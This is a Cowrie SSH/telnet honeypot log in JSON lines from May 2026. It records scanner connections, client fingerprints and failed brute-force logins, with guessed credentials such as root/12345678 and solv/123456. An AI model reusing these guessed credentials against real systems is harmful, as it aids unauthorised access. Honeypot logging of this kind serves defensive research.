{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:0d:dc:3a:57:a7:b9:e2:26:0a:3e:cb:c3:e8:af:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjneKnYwvLPhv1NSLKFKo8whamiV3jK6zgBS0GXG5x83ZjW21gex//LCEFuXtIjFVwJuZ4UvRy4Xnp7RQK7k1dHPxHzxPU8NgzpYfeLogDFZYTb2zHA06+TY7hL6OUoJXK1pfzptiDzERX+oN8qv462KZWlJhIiPtbeYp+dB12LwjIn4KewvXTLGka2FHa686Tdy7Q/yVE6m8SKjpksKSz3kRXCfPb/hO9k7roEse8tMn8Q9Zk2zvkhoCxhYk91eCNHYqSlto/3HydChS4NxRyVAii+DlD1GFeodCoWlBeKsrOle4hUddWQ39vVdqjKO8JxzzyrjfYTy30RpF6RRa9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:39.118922Z","src_ip":"212.192.216.2","session":"7577aac18b1d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:12:f9:f5:08:5d:f9:da:1a:6f:95:b6:9a:f5:a5:d0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFl/5zIo3qcQda5yH2vzvMbrCvCJTMbKcIIrZVZAR+mT","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint d1:12:f9:f5:08:5d:f9:da:1a:6f:95:b6:9a:f5:a5:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:39.202481Z","src_ip":"212.192.216.2","session":"7577aac18b1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:12:f9:f5:08:5d:f9:da:1a:6f:95:b6:9a:f5:a5:d0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFl/5zIo3qcQda5yH2vzvMbrCvCJTMbKcIIrZVZAR+mT","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:39.207629Z","src_ip":"212.192.216.2","session":"7577aac18b1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:39.290442Z","src_ip":"212.192.216.2","session":"7577aac18b1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":52782,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ae5c477ea55","protocol":"ssh","message":"New connection: 2.57.122.238:52782 (10.17.0.5:22) [session: 7ae5c477ea55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:46.502761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:46.507765Z","src_ip":"2.57.122.238","session":"7ae5c477ea55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:46.612557Z","src_ip":"2.57.122.238","session":"7ae5c477ea55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:46.923825Z","src_ip":"2.57.122.238","session":"7ae5c477ea55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:51:48.030250Z","src_ip":"2.57.122.238","session":"7ae5c477ea55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":42015,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dd9efc3c0ea","protocol":"telnet","message":"New connection: 212.55.149.117:42015 (10.17.0.5:23) [session: 8dd9efc3c0ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:52:32.276786Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":1074,"dst_ip":"159.203.135.109","dst_port":22,"session":"1914212e2939","protocol":"ssh","message":"New connection: 193.24.211.100:1074 (159.203.135.109:22) [session: 1914212e2939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:53:44.792917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:53:44.798591Z","src_ip":"193.24.211.100","session":"1914212e2939","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:53:45.170111Z","src_ip":"193.24.211.100","session":"1914212e2939","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bill","password":"bill","message":"login attempt [bill/bill] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:53:45.591809Z","src_ip":"193.24.211.100","session":"1914212e2939","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:53:46.715111Z","src_ip":"193.24.211.100","session":"1914212e2939","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":46843,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0c9c018516e","protocol":"telnet","message":"New connection: 212.55.149.117:46843 (10.17.0.5:23) [session: b0c9c018516e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:53:46.935108Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40214,"dst_ip":"159.203.135.109","dst_port":23,"session":"379f32c8a3c0","protocol":"telnet","message":"New connection: 128.199.8.54:40214 (159.203.135.109:23) [session: 379f32c8a3c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:54:02.058563Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":47088,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4b88116a468","protocol":"ssh","message":"New connection: 2.57.122.238:47088 (10.17.0.5:22) [session: f4b88116a468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:54:04.103410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:54:04.107486Z","src_ip":"2.57.122.238","session":"f4b88116a468","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:54:04.202300Z","src_ip":"2.57.122.238","session":"f4b88116a468","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:54:04.487276Z","src_ip":"2.57.122.238","session":"f4b88116a468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:54:05.584760Z","src_ip":"2.57.122.238","session":"f4b88116a468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":119.43696761131287,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:54:31.713682Z","src_ip":"212.55.149.117","session":"8dd9efc3c0ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.031487464904785,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:54:37.089915Z","src_ip":"128.199.8.54","session":"379f32c8a3c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":60916,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e3119fbc3c9","protocol":"ssh","message":"New connection: 103.15.226.202:60916 (10.17.0.5:22) [session: 3e3119fbc3c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:54:44.351128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:54:44.355828Z","src_ip":"103.15.226.202","session":"3e3119fbc3c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:54:44.604411Z","src_ip":"103.15.226.202","session":"3e3119fbc3c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:54:45.359366Z","src_ip":"103.15.226.202","session":"3e3119fbc3c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.65679907798767,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:54:46.591777Z","src_ip":"212.55.149.117","session":"b0c9c018516e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:54:46.619451Z","src_ip":"103.15.226.202","session":"3e3119fbc3c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.12.136.244","src_port":40574,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbcf20e638a9","protocol":"telnet","message":"New connection: 89.12.136.244:40574 (10.17.0.5:23) [session: cbcf20e638a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:55:37.405942Z"}
{"eventid":"cowrie.session.closed","duration":14.989564418792725,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:55:52.395372Z","src_ip":"89.12.136.244","session":"cbcf20e638a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.105.246.199","src_port":54540,"dst_ip":"10.17.0.5","dst_port":23,"session":"23bf9bc755c2","protocol":"telnet","message":"New connection: 177.105.246.199:54540 (10.17.0.5:23) [session: 23bf9bc755c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:56:06.089604Z"}
{"eventid":"cowrie.session.closed","duration":12.701375007629395,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:56:18.790864Z","src_ip":"177.105.246.199","session":"23bf9bc755c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":57332,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b5df18b0130","protocol":"ssh","message":"New connection: 2.57.122.238:57332 (10.17.0.5:22) [session: 0b5df18b0130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:56:23.505913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:56:23.510036Z","src_ip":"2.57.122.238","session":"0b5df18b0130","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:56:23.615731Z","src_ip":"2.57.122.238","session":"0b5df18b0130","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:56:23.931695Z","src_ip":"2.57.122.238","session":"0b5df18b0130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:56:25.039329Z","src_ip":"2.57.122.238","session":"0b5df18b0130","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":50139,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c6d7ad7aec2","protocol":"telnet","message":"New connection: 212.55.149.117:50139 (10.17.0.5:23) [session: 9c6d7ad7aec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:56:44.519710Z"}
{"eventid":"cowrie.session.closed","duration":62.79483127593994,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:57:47.314446Z","src_ip":"212.55.149.117","session":"9c6d7ad7aec2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":36910,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c4a9c6c3bb6","protocol":"ssh","message":"New connection: 103.15.226.202:36910 (10.17.0.5:22) [session: 3c4a9c6c3bb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:58:20.371676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:58:20.376813Z","src_ip":"103.15.226.202","session":"3c4a9c6c3bb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:58:20.616466Z","src_ip":"103.15.226.202","session":"3c4a9c6c3bb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nimdA@123","message":"login attempt [root/nimdA@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:58:21.352764Z","src_ip":"103.15.226.202","session":"3c4a9c6c3bb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:58:22.595197Z","src_ip":"103.15.226.202","session":"3c4a9c6c3bb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":44328,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b283610d7b5","protocol":"ssh","message":"New connection: 2.57.122.238:44328 (10.17.0.5:22) [session: 1b283610d7b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:58:40.066496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:58:40.071506Z","src_ip":"2.57.122.238","session":"1b283610d7b5","protocol":"ssh"}
